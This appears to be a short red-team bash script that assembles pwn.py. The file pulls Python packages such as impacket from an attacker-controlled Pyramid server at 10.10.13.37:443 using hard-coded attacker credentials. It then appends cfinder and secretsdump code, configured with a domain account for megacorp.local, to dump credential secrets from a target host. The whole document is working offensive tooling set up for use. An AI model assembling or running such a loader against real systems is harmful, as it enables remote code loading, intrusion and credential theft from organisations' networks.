#!/usr/bin/env bash

cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('Cryptodome',)
PYRAMID_TO_IMPORT = (
	'setuptools',
	'pkg_resources',
	'jaraco',
	'_distutils_hack',
	'distutils',
	'cffi',
	'configparser',
	'future',
	'chardet',
	'flask',
	'ldap3',
	'ldapdomaindump',
	'pyasn1',
	'OpenSSL',
	'pyreadline',
	'six',
	'markupsafe',
	'werkzeug',
	'jinja2',
	'click',
	'itsdangerous',
	'dns',
	'impacket',)

SECRETSDUMP_TARGET = '127.0.0.1'
SECRETSDUMP_DOMAIN = 'megacorp.local'
SECRETSDUMP_USERNAME = 'j.doe'
SECRETSDUMP_PASSWORD = 'Passw0rd2!'
EOT

cat {cfinder,secretsdump}.py >> pwn.py
